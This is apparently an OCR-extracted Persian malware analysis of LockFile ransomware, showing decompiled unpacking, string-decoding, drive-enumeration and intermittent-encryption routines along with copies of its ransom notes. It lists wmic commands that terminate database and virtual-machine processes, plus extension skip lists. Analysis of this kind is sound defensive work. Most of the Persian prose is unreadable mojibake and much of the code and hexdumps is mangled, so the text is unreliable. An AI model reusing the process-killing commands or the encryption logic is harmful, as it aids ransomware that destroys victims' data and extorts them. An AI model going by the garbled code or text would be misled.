095 i 851301 .3)1a3 yai0 520 (510315 gud Lol wawl (0x94000) wabighss 03F (OPEN b 4 Jol ixda 851801 .l o 8315
Tamy a5 ol 60 (613550 45 dwodls auiy 35,05 515 o) (5Ll 4o )3 @ aw g ol (0x43000) obolss YAF (CLSE (s

353550 )18 OPEN (i )3 9 359450 (2 UibkS3o)

LS50 (53lg31ys 1) FUN_T400d71¢0() 9 caml 65l )l entry() gils

1

2 |/* WARNING: Removing unreachable block (ram,0x000140047174) */

3

4 |veid entry({void)

5

& (1

7 DAT_1400c€ab0._0_4_ = 0xadh098c3;
FUN_1400d71e0{0) 2

g return;

10 [}

11

9 8J|9) CHI » 69XLC A>3 0 )l):é OPEN L)MDJ N |) UT 9 AJSL)A (S)I.S.f}n) l) CLSE L)AADJ o3l FUN_1 400d71C0() SJL)
a5 (635 @ g 63943 (5w |y IMAGE_SCN_CNT_UNINITIALIZED_DATA 3560 Guuw 35S (50 ¢paus |y dbgyye (gloDLL
5 WInDbg jI (39650 395 hal lej )5 Jlie (ylgic ay) isbse Unpacked )gas OPEN (i )5 a5 daudy a5 (plsdl
Jed=s B Ghidra s Ll @)ygo @ 5 ablas 35 13 a0 edlaiwl « s ;> OPEN (i ¢yidgd (glp .writemem

19450

writemem c:\[redacted]\LockFile\sec_open.bin lockfileexe+1000 L94000
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o= W By

o

10
11
12
13
14

Gomso (b aidlsy Cawol Julod ol )d a5 Llol @B g 3l (50 C pbj @ ol Jlo s $Slals SO 5 cuwl CRT (399 U

\Foo jo0 | wlelbl (g)9lid cuyiol A nlidlo

Pgibz0 0313 Gikled 5 90 4 o Ghel Egyb @I (Jals eagz Ghidra )s b (1350 51 o

f* WARNING: Globals starting with '_' overlap smaller symbols at the same address *f
F* Library Function - Multipls Matchss With Diffsrent Bass Hames

mainCRIStartup

winainCRIStartup

Library: Visual Scudis 20159 Release *f

ulongleng FID conflict:mainCRIStarcup (void)

undefinedd uVarl;
bool bVar2;
char cVar3;

)50 pj peal 3lao o Ghol U 4 yidbw (goxiws jl a2y g a0

__acrt_release_startup lock( (ulonglong)puVarl? & O=fESESESESESFSF00 | (ulonglong) BVars):
pl¥ar? = (longlonmg *) FUM_0003£aS0{):
if ({*plVar? != 0) && (cVard = _ scrt is noowritable_in current image {plVar7), cVard = "30%))
{

{*DAT_000€23b4) (0,2,0,1n RS, aVarli)r
I
plvar] = (longlong *) FUN_0003fasa();
if ({*plV¥ar? != 0) && (cVar3 = __scrr_ls nonwrirable in currentc_image (plVar7), cWari != "™0")])
i

_regiscer chread local exe atexit callback(4plVarT):
}

uVar = FUM_00050788({):
fars = (undefinedd *) UM _000S0£73():
uVarl = *puVarS;
puVarll = (undefined4 *)FOH_00050£70();
uVardé = main 00008610 (*puVar 1
_REY = {ulonglong)uVa
cVarid = _ secrt_is managed app{):
if (cvard != "wO") |

1f (!'bVarl) |

_eexit{):

]

__sert_uninicialize cre(l,0):

IRTUEn unaff REX:

unarrt
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N b—.?l-\}dl&‘:’l |cL'.>_')| Ly @0 C)|9.i.c 8} |) C)T U*’)QT 9 00 |oU ).A.ASU main_000861 () LY |) &)L} O,gl () ‘ol_ii.(b N ULQ_Q_’>.n

_time64 (¢DAT 000cE0b0) 2

S50 (gjllely 1) Crypto 6sliulis «Jgl Gindo .333,S bas WinDbg

56 FUN _00002£30():

57 uVarls = 07

58 FUN 00002bf0 ({0xbagel, 0x224, 0xc80c0, DAT 0008Tb4E, 0xcS0cl, sDAT 00087b40);
59 ZeroMem?? 00041270 (0xc80c0,0,DAT 000ETD48):
&0 uVari = 5 _ARRRRRRRARRRARAR 00075af0._8 8
6l uVard = s ARRRARRARARRRRRAR 00075af0._0 8
62 uVarll = 07

63 puVar4 = (ulonglong *)&DAT_ 000ba%20;

64 uVar7 = uVarlls

65 do {

66 uVaré = (int)uVar7 + 0x40;

&7 uVar7 = (ulonglong)uVaré;

68 puVard[-2] = puVar4[-2] =

69 puVard[=-1] = puVard[-1] =

74 ‘puVard = *puVard ~ uVars;

71 puVard4[l] = puVar4[l] ~ oVarl;

72 puVard[2] = uVars = puVard[2]:

73 puVard[3] = uVar2 ~ puVar4[3]:

74 uVarl = puVard([4]:

75 uVarld = gVars » arl:

7€ puVard[4] = uVarl4;

(X puVard[5] = uVar2 ~ puVard[5]);

78 puVard = puVar4 + 8;:

74 } while (uVaré < 0x57c0);:

a0 1f (uVaré < O0x57dl) {

o]

W b -

do {
*phVars ~ Ox4l:

+ 1;

uVaré = {(int)uVar7 + 1;

= (ulonglong)uVaré;

} while (uVaré < 0x57dl);

= *phVare

)

pbVaré = pbVars

]

s
uvar

-1 o

o 00 O O O Ob O

5]
—

pbVarg = gDAT 000baSl0 + (int)uV

ATE "
fl

2 o5l Gyge 4 &S ogdse wdl “‘Cryptographic algorithms are disabled after’ ¢gmen (lodidp, (§gd 5 )

o2l 51 LockFile jlglab a5 €i)S asui g5enl olodse 13wl (wyiwd )3 ) (w31 @ GitHub > Crypto++Library

https://github.com/weidai11/cryptopp

S50 0Lkl L;)lij}o) (V:)I9) sl Glols
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S e sleal Mutex Ko (yley S )3 )ldlzl o)L (gly=l 5l G ySelz Cagz Gu

uWars = (* CreacceMucexh 00062038)
(oVarl,uVarl4,uVar%,0,0,5_25a0lbb859125507013a28e5737d3c33_00075aa0) 7

25d(50 (UiSioy wunl 634 6315 Lid 151 o 53 azolailas wwl System() U jl (g yiolyly a5 didy Sy Guaw

local Zhi = Oxby
local_ Zac[0] = OxTe:

Lcc&l_Za:[l.
local Zac[2]
local_zac[3]
local Zac[4]
local_Zac[5]
local 2ac[€]
local_zac[7]
local Zac[d]
loca 1_:: c[§]
Local Zac[l0]
local Zacs[ll)

local_lac[ll] =

Lloca 1_11 cil3]

local Zac[l4] =

local 2ac[l5)
local_ lac[lE]
local_z2ac[l7]
local_Zac[lB]

local_Zac[l%] =

local lacf20]

local_Zac[2l] =

local Jae[22)
local_lac[23)
local Zac[24)
l:cal_:a c[251
local 2ac[2&])
local Zac[2T)
local_Zac[28]
local Zac[25]
local_Zac[30]
local Zacfii)
local_Zac[32]
local 2ac[33]
local Zac[34]
local Zac[35]
local Zac[3E]
Local 2ac[37]
local 2ae[3B)
local_Zac[3%]
Local Zac[40]
Iocal 2ac[41]
local Zac[42)
local Zac[43]
local _lac[44]
local Zac[45]
local lac[4E]
local Zac[47]
local_Zac[48]
local Zac[45]
local_Zac([50]
local_Zac[3il)
local Zac[52]
local Zac[53)
local Zac[54)

= Oxéf:
= OmEdy
= 0XE3:
s OxZh;

uVard = uVarlly
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156 do |

157 local 2a local_2ac[uVar5] ~ 0xb:
158 uVard =

154 } while (uVars < 0x37);

10 local 275 = 02

161 system((char *)local 2ac):

VMWD olinels )3 a5 1) (plodwgy plad g 3950 (S92 171 k5 )3 a5 wibe System() &b (sl syiohl «(G9s aid)
ol b - WMI jlaxsl ¢ - Windows Management Interface ¢loyd ks )l obio () .a»350 dails o)l 3929

&35 Lamgy ylw (sl iac ol 3950 0352 )10 sl Joz> WINdOWS Jolepiimn 5> cuad 3iahd yo 55 <5 WMIC.EXE

Process

Hyper-V virtual machines

Oracle WM Virtual Box manager

Oracle VM Virtual Box services

Microsoft SQL Server, also used by
SharePoint, Exchange

MySQL database

Oracle MTS Recovery Service

Oracle RDEMS Kernel

Oracle TNS Listener

VMware virtual machines

D90 S5 5 0313010 9 (silwsjlze ylidley b hasye il

Command

wmic process where "name

wmic process where "name

wmic process where "name

wmic process where "name

wmic process where "name

wmic process where "name

wmic process where "name

wmic process where "name

wmic process where "name

like

like

like

like

like

like

like

like

like

“vmwp%™ call terminate

“Yvirtualbox%" call terminate

“Yovbox%" call terminate

‘Ysglservri” call terminate

“%mysqld%” call terminate

‘Yoomtsreco%” call terminate

“Yaoracle%™ call terminate

“Yetnslsnri’” call terminate

“Yavmware” call terminate
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03 0315 Aails (Sl 5yl Gloawgyy I g5 il @ Eaiume )90 @ HSlak & Sgide )BT G ¢l WM (5510 b
Ol 09IST I S oo (a3 abgaye (03130 il (59) 2 ) (5)13550) E95 0 Jlacl dodwgyy (ol aell> . Crunss bgype
9 (LjL £AY k3 )5 1) GetlLogicalDriveString() jl oas Gidive gy plad (§od A5 . Aikuwd Cyzo (slog)l iS5, oslol cluil

A50SS5 ) Jee 02l

EG2 iveScringsk €20€2) (0xff,local_l3E);
€ & {undefined [1€])0m0r

a p (undefined *)local

1 do |

] Va = (* ' 1 + (lat)uva | H
703 if {ivar3 = 3) {

04 G = uVarl® & ORCELELLLTOO000000;

5 = " )
(0,0, 0x7£00, 1 + (int)oVarll,uVarls,local seslf)s
707 rd = f(ulenglong) { (inc)uVard + 1);

F = pa + 17

— )
7 Iy = (inT)uva + 4z

arll = (ulongloag)uVarlos
113 } while {uV faz€)s
114 }
115 (*_WaictFor#ultiplelbjects_000€20cO) (uVard, L 1,0xfEEfErer)
16 1Varll w 107

do |
FUN_00008120():

g 4 = 1Va + =12
720 } while (1 = 0);
i FUR_00006£20 () &
122 return 0;
maa J

| 10

F return 07

2% )

Canl col Saugd ol & Lol gdse 63> peusdis GetDrive Type() @b jl gl)y Eg wils )
Egpid 1y laic 4 OX7F00 &G L (Vof g Vol bghs )3) 332 Thread <5 (Yol ki > type three = DRIVE_FIXED)

Dgad 50 Sl

WJbo  olgic l, HTA Seb )hd 0x7f00 S b
Canyd b il 33L (313 )8 (gl @ aiS e Sleul (root drive) gil)s adin) 3 1) “LOCKFILE-README-[hostnamel]-[id].hta”

L ASe sl acMbl ol o)l N

&S Cuwlziy] Ll S50 skl - HTA jlaisl 4 - HTML Application w)ge a1 ) 395 (5,520 axcMbl LockFile (TXT
035,50 LockBit 2.0 1581 21 buwgs a5 Cawl SLdl>sl duds )l dgi 50 odlaiwl LOCKFile awgs a5 HTA (5,52L aucMbl
9450

LOCHALE

'
ALL YOUR LISV RNE IS ARE ENCRYPTED!

Any attempts to restore your files with the thrid-party software will be fatal for your files!
Restore you data posible only buying private key fram us.

There is only one way to get your files back:

contact us
ot 6 UTox B Ema
55 ~21030DEBTABEE DOCAIBIENT o Aol try 1o recove files yourself. s Process can damage your data

0o

and recovery will bEcoms impossiie

+ Do not rename encrypied files.

D0 not waste time irying 1o find the soaution on the Intemet. The fonger

Yol WAt Te Nagner Wil DaCame Ihe BerTyphan Key price

o Decyption of your files with the help of third parties may cause
INGTEased prce Nty 400 X T8¢ 10 0ur)

,Tor Browser may be blocked in your counlry G COFpOrale netwark.
Use biips ifiges kornoiect oxg or ese Tor Browser over VPN

+ THaNks 10 the waming Walpapar provided Dy OCKDA, 'S €88Y 10 use:

hutoa. iox chatdovenioad himi
+ Emal  COMACIGCONMIpAUpEr com

Through a @ Tor Browser - recommended
+ DOWNIoa1 Tor BIOwSer - hips: i torpreiset org/ and Install &

Cpen nk in Tor Browser
02 4 i

o TS ik
only works in Tor Browsen

'+ Fallow the instructions on this page.
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Leck8a
It 12.0]
FARRR (o]1 - IMPORTANT FILESEVG{ISTOLEN AND ENCRYPTED!
' e e '
To recovery your data and not 1o aliow data leakage, it is possible only through purchase of 3 private key from us

There is only one way to get your files back:

ATTENTION!
. MpSI0ecoang at may e bocked. We rEcommend using a Tor
Through a standard browser browsen jor Brave) 1o access the TOR site
@ Brave (supports Tor links) @ FireFox @ Chrome @ Edge O Opera T s
G 4 Do not try 1o decrypt using thid party software. it may cause
* Open Nk - hips iidacoding atf permanem cata loss
Decryption of your fles with the heip of third parties may cause
increased price (1hey acd thei fee o gur)
Tor Browser may be BIGEHE In yOUr Oty O COTPOTAE AEtwaN
Through a Tor Browser - recommended * Use hips ibridoes sorproject org or use Tor Browser over V.
+ Download Tor Browse - hiips iwves Sorproject orgl and Instail 1 +  Tor Browser user manual Nips N manual 1ot orgrabout
Open one of kinks m Tor browser and folow mstructions on these pages: + Allyour stolen important data wil be loaded inio our biog if you do
J 442did crion’ not pay ransam
+ ormimor ) Ourbiag
™ » DD AGCKDIBPIGVNSTI3ee a0 OCT MUII3AISAYGvOKIASULCC ykyD DniDn
hese hnks work only in the Tor browser! lips /1000 a1 where You Can see data of the companies which

or
+ Follow Ihe insuucsons on inis page refused to pay ransom.

IS )8y DU ST b 5 Jeal 0031 Gk jl Jils> 0 LS 1 395 (5520 aedbl )5 LockFile plezles
contact@contipauper.com

ol Conti iy by (5138120 09,5 @ juol i (gloylial contipauper.com (yisy oslatwl )50 diols el w0 455 4y
Al 634 Slaul 31,0 YO S dinly (] T)mtb

3l il casal encrypt directory g Jol cooawd 3950 (Slg31) s ki > EncryptDir_00007820() (ume

1

2 |void EncryptDriveThread 00007£00 {undefined?® param 1}
3

41

5 CreateReadIne_H‘m_Oﬂﬂﬂ'?béﬂ (s

3 EncryptDir 00007820 (param_l);

7 rETurn;

ElD

9
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125
126
127
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129
130
13l
132
133
134
138
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wnl 1) )50 4y ()l 3550, RIU g Cawd

0x10) = 0y |
f* *.lockfile™ */
local _878[0]
local 8781}

local_278(2]

local_s7e(d)
local SEF =

uVart =

_B73[uVars] = local 87

uVarf = uVar® + 1:

] while (uVars € §):

/* does filename NOT comcain:
".lockfile™"\Windows""LOCEFLLE" "NTOSER" L/

r3] + -Owd;

pcVard = strate(l
if ({( fard == |char *)0x0) &&
{pcVari: = grestr((char 4){(longlong) EuSTackla3
pcVard == {char *)0x0]) &&
{peVaed = seraer(local @
(pcVard = atratr{local_g3c,a_NTUSER
iVars = O

if (DAT_0Q0037BSO !'= *\0%) {

B3c, Local |

== [char ")0=0}} iz
0753£4), pcVard = (char *)}0x0)) {

/* Iterate through the list of known extentions NOT to scryps:

peVar3 = gDAT_0D0087bS0;
do {
cWard = (char *)_scrlwr(local 83c):
Var4 = stestripcVar4,sDAT_00087050 + (longlomg)iVarS * Oxlo4):
ars = iVarS + 17

pcVard = pevard + Omlod;

if (pcVard !'= (char *)0x0) goto LAB 00007b21;

} while {*pcvar3 lw "\0');

)
aprinct_00006090(local
EncrypcFile_0000p3go(

528, 4DAT_0007552c, {Longlong) sust

cVarl = ¥|char ¥} {{longlong)suStackl 833 + 1IWars + L);
local 418[1Vars] = cVarly
1Vary = LVard + 15
) whils (cVarl != "\0')s
pcVard = goStacklo4iy
do |{
pevard = pcVard + 1j
)} while (*pcVard = '\0%);
1Vars = 07
de |
Vacl =

povard[lvar®] = cVarl

} while (cVarl '= *\0*):
Createfeadms_HTA_00007TBE0 (1
EncryptDir 00007E20{local_% 075a80) 2
+
1
LAB_00007p2L1:
1VarS = (¥_FinaNe: Led_ 00062063
1 while ars = 0)1
1% _Findl e _ €20e8) (1Vazl)s
1
raturns
]
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oslaiwl param_T )5 (55501 @b 5l LSS ¢lp WA ks s FindNextFile() ¢ #¥ ks > FindFirstFile() 51 )hélab ¢nl
Ao

220l y5 d)lge Jold Jold b S S50 (5w ‘(??-C\\ b9b.‘>) Jol Cawsd >

lockfile -
\Windows -
LOCKFILE .
NTUSER -

T @ &5 Snd (g3buwl 03 diBLid (gloigun (95 UeS Elgil cum 93 ¢l 3950 1yl yu5 G 95 (538)5 1125)5 b Guuw
,(‘\Y-\o\"(_gL(D)b,w) Ayubm Lg)'l)b()wub

List 1:

a3l .a3m a4l adp a5l abk abs acp ada adb add adf adi adm adp adr ads af2 afm aif aifc aiff aim ais
.akw alaw tlog vsix pch json nupkg pdb ipdb alb all ams .anc ani ans api aps arc ari arj art asa asc asd
_ase asf xam| aso asp ast asv asx ico rll .ado jsonlz4 cat gds atw avb avi avr avs awd awr axx bas bdf
_bgl bif biff bks bmi bmk book .box bpl .bgy brx bsl bsc bsp btm bud bun bw bwv byu c0l cal cam .cap
_cas cat cca ccb cch cem ceo cet cda cdf cdi cdm cdt cdx cel cfb cfg ¢fm cgi cgm chk chp chr cht
_cif cil cim cin ckl ck2 ck3 ckd ckS ckb class cll clp cls cmd cmf cmg cmp cmv cmx cnf .cnm .cng cnt
.cob .cpd cpi cpl .cpo .cpr.cpx.crd .crp .csc.csp .css .ctl.cue .cur.cut .cwk cws .cxt .d64 dbc .dbx .dcS .dcm
.der des .dct dcu .dex .ddf .ddif def .defi .dem .der .dewf dib dic dif dig dir .diz dlg .dll dls dmd .dmf dpl dpr
drv drw dsf dsg dsm dsp dsq dst dsw dia dtf dtm dun dwd dwg dxf dxr eda edd ede edk edq eds edv
efa efe efk efg efs efv emd emf eml enc enff ephtml eps epsf epx eri err esps eul evy ewl exc exe far
{f3r £77 £90 far fav fax fbk fcd fdb fdf fft fif fig fits fla flc fIf flit fmb frl fmt . fnd fng fnk fog fon for fot
fpl fp3 fpt frt frx fsf fsl fsm ftg fts fw2 fw3 fwd fxp fzb fzf fzv gal gdb gdm ged gen getright gfc gfi
_gfx gho gid gif gim gix gkh gks gna gnt gnx gra grd grf grp .gsm gt2 gtk gwx gwz hem hcom her hdf
_hed hel hex hgl hlp hog hpj hpp hagx hst htt hix _hxm ica icb icc icl icm idb idd idf idq idx iff igf iif ima
dmz inc .inf.ini ins int iso isp st isu its ivd ivp ivt ivx iwec jB2 java jbf jmp jnl jtf k25 kar kdc key kfx kiz
kkw kmp kgp krl krz ksf lab Idb Idl leg les Ift Igo lha lib lin lis Ink log lIx Ipd Irc Isl Isp Ist lwlo lwob Iwp
Iwsc lyr Izh Izs mlv m3d m3u mac magic mak .mam man map .maq mar mas mat maud maz mbl
_mbox .mbx mcc.mecp .mcr.mcw .mda .mdb .mde .mdl.mdn .mdw mdz .med mer.met .mfg .mgf mic mid
mif . miff .mim .mli . mmf.mmg .mmm mmp.mn2 .mnd .mng.mnt.mnu.maod mov.mp2 .mpa.mpe .mpp .mpr
mri_msa msdl msg msn .msp mst mtm mul .mus musl0 mvb nan nap ncb ned nef ndo nff nft nil nist
nlb _nlm nls nlu nod .ns2 nsf nso nst_ntf ntx nwc .nws 001 obd obj .obz ocx .ods off ofn oft okt olb ole
.0ogl .opl .opo .opt .opx .or2 .or3 ora .orc .org .0ss .ost ofl .out pl0 p3 p65S p7c pab pac .pak pal part pas pat
pbd pbf pbk pbl pbm pbr pcd pce pel pem pep pes pet pex pdb pdd pdp pdqg pds pf pfa pfb pfc pfm
pgd pgl pgm pop pict pif pin pix pjx pkg pkr plg pli plm pls plt_ pmS pm6 pog pol pop pot pov ppd ppa
ppf .ppm ppp pagi prc pre prf prj _prn _prp prs prt prv psb psi psm psp ptd ptm pwl pwp pwz gad gbw
.qd3d .qdt ofl .gic .qif .glb gry .gst gti .gtp gts .qtx .gxd ram ras rbh rcc rdf rdl rec reg rep res rft rgh rmd
ormf rmi rom rov rpm rpt rrs rsl rsm rtkortm rts rul rvp s3i s3m sam sav sbk shl sc2 sc3 sce scd scf
_sCi scn scp scr sct01 scv .sd2 sdf sdk sdl sdr sds sdt sdv sdw sdx sea sep ses sf sf2 sfd sfi sfr sfw
shw sig sit siz ska skl slb sld slk sm3 smp .snd sndr sndt sou spd .spl sqc sqgr.ssd ssf st stl stm str
sty .svx .swa swf swp sys syw t2t 164 taz tbk tcl tdb tex tgs tgz tig tlb tle tmp toc tol tos tpl tpp trk
trm trn ttf tz uwf v8 vap vbp vbw vbx vee vef vet vda vi viff vir viv vage vaf vrf vrml vsd vsl vsn vst vsw
wxd wem wdb wdg web wfb wfd wfm wfn xml acc adt adts avi _bat bmp cab cpl dll exe flv gif .ini iso

Jpeqg jpg.m4da .mov.mp3 .mp4d mpeg msi mui php png .sys wmv xml
List 2:

_acc adt adts avi bat bmp cab cpl dil exe flv gif ini iso jpeg jpg mda mov mp3 mpd mpeg .msi mui php
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IS (505 (g5l 55 PG ubS (695 (o hls 418120 (¢l 45wl (ol dzgl clls aiss

Cag2 9 (loF b5) 850 Jaie 0@ 1) juune 9 (16 pU 953e 35 ABLS G99 (sl )3 6 L Jiw S (b Sgmny )]
S50 (Sle>ld |y EncryptFile_00007360() «yiuw (514550,

,..\.iSbA (5)1_'\3)';;) (:?9)‘5/6“9)9 abdls s @J)b )‘ ]) w EanyptFlle_00007360() &U

[Le4 0,uvarls, 0x80,00:

L5

[Le€

[1E7 |

[168 u 3 = [ulonglong) (local reslO[0] >»> Oxlf & Oxlf);

ILES ar? = uVar2ld + uVarli;

1L IVarl? = 0x230;

]T: if ({(uinc)uVard & OX1f) = uvarli) |

72 1Varl? = 0x210;

[173 }

ﬁfé uVar® = 1Varl? + (uVarl s OxfffFfFFFFFFEffed);

[175 LF ({(uVar20 '= 0) s&

176 (local 1058 = uVar2d,

L7 local res2) = (¥ CreateFileMappingd _00062070)

e | 4 01
{180 local_resld != 0)) &6

[La1 = (¥_MapViewOfFileStub 7 = 0)) |
[Le2 = (undefined4 *) [(uVaz® -

123 lecal_1258;

;l-'.'

Var17 aA ks ;5 aiSe cusls absls @ 1) viw CreateFileMapping() U dVY ki )5 g dgd0 jL1FF s )5 il disw

LS (50 o)Ll aadls 3 e cudlSs diw @

FSHIS WA Jolis oS (sainlefl diww Sy jl (gldigas L=l )> .0z deldl abdbls )y Siw (loil & (liSiey Lidu (398l b a5
39450 03l «uwl (0X6T) “@”

000001£e 98260000
000001Ee” 98260010
000001Ee 98260020
Qoo001lfe 98200030
000001fe” 98260040
000001f=" 98260050
000001 98260060
000001fe 92260070
000001lEe 98260080
000001 98260090
000001£e"982600a0
QooO001fe” 98260000
000001fe 9826000
000001fe” 98260040
000001fe” 9826000
000001E="982600£0
000001Ee 98260100
000001fe 98260110
000001Ee 98260120
000001fe” 98260130
000001£e 98260140
000001Ee” 96260150
000001fe 98260160
000001fe" 98260170
000001fe” 98260180
000001£="98260190
000001Ee 982601al
000001fe” 98260100
000001fe 9826010
000001Ee” 98260140
000001Ee" 9826010
000001Ee” 962601E0
000001fe 98260200
000001£e 98260210
Q00001Ee 9B260220
000001fe 98260230
Q00001Ee" 98260240
000001fe” 98260250
000001fe" 98260260
000001Ee” 98260270
000001lfe 92260280

Bl 61 651 61 61 61 61 61 61 61 61 61 61 61 61 aasasaaa33333333

(= N R e e e N N B e T e e N e R R R e T e e N e R S O S
(o e e e ey e e e e e e e e ol = S S =
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] S8 ol @ bbbl )5 aau cidlSs S (98| ( LiSio) (i (539591 51

000001£fe"98260000 61 61 61 61 61 61 61 61 61 61 61 61 €61 61 61 61 aaa=zaazazzazazaa
000001fe 98260010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 assssssssam38383
000001fe" 98260020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aAssssassssssAsAAd
000001f= 98260030 61 61 &1 &1 61 61 61 61 61 61 61 &1 61 6l 61 61 aasaszzz=z333333
000001fe 98260040 81 61 &1 61 61 61 61 61 &1 61 61 61 61 61 61 6l ascsssssaaaaaaad
000001fe" 98260050 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aAsssssssSASAsAAAAE
000001fe 98260060 61 61 &1 61 61 Kl 61 61 61 61 61 61 61 61 61 61 assssassaaaaazaa
000001fe" 98260070 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 asassssszaszasaa
000001fe 98260080 9a 25 fd 1d d4 90 35 1d a9 7= 55 70 74 6e 3 £7 . %..

000001fe" 98260090 1c 6d 82 17 33 00 66 db 05 7a le 06 8f 43 6f 26 .m. . 3.f. .
000001fe  982600a0 el Of 65 62 b8 d9 lc 07 98 £5 8c 69 lc 60 12 d8 eb...... i
000001fe" 982600b0 69 c3 Bc 65 bl do 57 ca bS Ob c6 64 3c d9 84 99 1. . e W_._ .d<.. .
000001fe"982600ch 7b 77 b ba al bl bd cf 50 £3 0 3e ab 64 b8 3f {(w...... P..».d.?
000001£fe 98260040 02 1b 46 0% =3 bY b2 49 45 25 S5f 4d 98 bd 6l ca F IEX K. .a
000001fe" 982600e0 44 =0 2f le 84 al 2c ef 4b 4b 7d 3e el b bd 8 D.-..... EE}>. ...
000001fe”"9082600£0 79 13 94 21 18 43 {9 o2 18 16 b6 de 2e 09 2a 83 y. . 1 . C. .. . H. =
000001fe 98260100 73 14 1lc d5 05 47 95 34 42 de cd 43 8f ce 16 d5 = G.4B. .C
000001fe 98260110 16 a9 92 97 11 3d d3 54 c7 85 &2 6a 52 8c fc €6 ... .. =.T...iR.
000001fe"9 . 2.2....3
000001fe 4
oooooife” 9
000001fe"9
000001fe" 9
0oo001fe” 9
000001fe" 9
0oo001fe"9
0ooonlfe 9
0o0001fe"9
000001fe" 9
000001fe" 9
0oooDlfe 9
0o0001fe"9
00000 1fem" 9
000001fe 9
00o001fe"9
oopoolfe” 9
0oo001fe"9
000001fe"9
ooooolfe” 9
000001fe 9
000001fe" 9

@0 00 00 D O 00 &0 00 0 00 00 00 00 O 00 0 00 0 00 {0 30 00
N N N N N N N Ny Ty ey ]

267

268

269

270 i

271 EncryptBuffer 0002cbf4{local 13cl,lVarl5,local 13e8,1Varl5):
272 1V Varls + 0x20;

273 1z

274 * ulonglong *) {1lVarlé + Ox208 + 1Varl7) = uoVarS;:
275 if (Oxd4elfffff < uVarg) break:

276 uVarld = gVarld - 1;

2717 } while (uVarlqd '= Q):

278 FUM_00002a30(slocal 13cg);

279 ['_”:tﬁ;f;va:Tzltfﬁ_r_ €2040) {1Varl7):

280 (*_ClossHandle 000€ a20):

281 (*_CloseHandle_ €
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@ a5 00 @akai5 [Var7 (g9, PFA bas )5 iS50 (513550, IVarT5 eads wsly)s 80 )5 1) wab )¢ EncryptBuffer_0002cbf4()
iS50 3 ) cob1F g aiSe alsl IvarTh @ (ol 30) 0X20 Gupw S cunl Clls 23S0 o)Ll dbdls 5> sadh cudlSs diw

el 034 0315 Ginled ) pguad )3 Jol )35 51 Gy abdle byl uiulejl diw cudlSs 35S 5o Gglise |y (6)l3550) ol ¢l

00NoO01fe" 98260000 40 a8 £3 22 &8 d9 56 71 f0 el ac 9% 23 41 83 de @ " Wg. .  #&
000001fe" 98260010 61 61 61 H1 61 61 61 61 61 6l 61 61 61l 6l Bl 61 ssassssss3a333588
000001fe" 98260020 61 61 61 Bl 61 61 61 61 61 61 61 61 61 61 61l 61 asasssasasssasasas
000001f="98260030 61 &1 b1 Bl Bl 61 Bl 61 Bl 61 £1 61 61 61 Bl bl AsAAAASHAAAAESAE
000001 98260040 61 Bl 61 61 61 Bl 651 Bl 61 Rl Bl 61 61 &l Bl 5l assasasss3333333a
000001f=" 98260050 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaassassaaaaaaaa
Q00001fe"982600680 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61l 61 A~AsAARASAARABASASE
000001f="98260070 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aSaasaasaaaaassaa
000001f=" 99260080 9a 25 £d 14 d4 90 35 1d a9 7e 55 70 74 ébe =23 £7 .%....5. . ~Uptn..

] 63U 851> U,..\JLQJ ) R9a5 )d 093 )_’\f)~| o abbls b.uu9_) Lo)T s LSS

000001fe" 98260000 40 a8 £3 22 =8 d9 56 71 £f0 =0 ac 9c 23 41 83 de @ .7, . ¥g... .24 .
000001fe="98260010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 asssssasaasasass
000001fe" 98260020 40 a8 £3 22 =8 d9 56 71 £f0 =0 ac 9c 23 41 83 de @ .7, . ¥g... .24 .
000001fe"98260030 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 asssssssssasassas

000001Ee 98260040 61 61 61 61 61 61 61 61 61 61 61 61 A1l 6l 61 Bl = a85A3838388
DO00001fe=s" 98260050 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 assassassasasasas
000001fe 968260060 61 61 61 61 61 A1 61 61 &1 61 61 61 61 6l 61 61 sS=sassssassaasas
00D001Es" 98260070 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 ASssSSASASAAAASAASE
000001Ee" 98260080 9a 25 £d 1d d4 90 35 1d a9 7e 55 70 74 6e &3 {7 4 5. . ~lptn

el 034 0315 (LS 5 )3 ol plad Gl I asy abdls Jwg (iulejl 3w s

Q00001fe" 98260000 40 a8 £3 22 =8 d9 56 71 £0 el ac 9c 23 41 83 de @ . " ¥Vg.. . ¥
DO00DD01fe" 98260010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aa aaaa
000001fe" 98260020 40 a8 f3 22 =8 d9 56 71 E0 el ac 9c 23 41 B3 de @ " Wg. . #F& .
000001fe" 98260030 61 61 61 B1 61 61 &1 61 61 61 &1 61 61 61 61 61 asasssssssassssas
000001f=s" 98260040 40 a8 £3 22 &8 d9 56 71 f0 &0 ac 9c 23 41 83 de @ .". Vgq....#A4. .
000001fe" 98260050 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aAsssEAAAAAARARESE
000001fs" 98260060 40 a8 £3 22 =8 d9 66 71 £0 a0 ac 9c 23 41 83 de @ .".. Vg & .
00oo01lf="98260070 61 61 61 61 &1 61 61 61 61 61 61 61 61 61 61 61 assssssssssssssss
000001fe" 98260080 9a 25 fd 1d d4 90 35 1d a9 7e 55 70 74 6e &3 £7 .%....5. . ~Uptn..

iS50 dulie LOCKFile buwgs oaus (6)l3550) (529)5 L 1) Sliol diww SO 5 Syxxiio pgual doldl )

EQ Book 1 - The Philoso;qsagr‘s Stonext 5] book 1- the philosopher's stone.txt.lockfile
A

Offset (h) 00 O1 02 03 04 05 0€ 07 02 09 OA OB OC OD OE OF

Q00000000 E1l1 2D 13 &C B2 &7 92 DS Al 22 54 1A 20 ES SC F8 é—.l‘g'ﬁi'T. T
Q0000010 48 4F 20 4C 49 56 45 44 20 OA OA 4D 72 2E 20 81 HO LIVED ..Mr. a
00000020 23 SF AD FF 2F E4 C8 AC C4 6A D3 D7 4A 1F 40 84 #_.y/aE-RjO=J.@.
00000030 20 6F 66 20 6E 75 €D 62 €5 72 20 €6 6F 75 72 2C of number four,
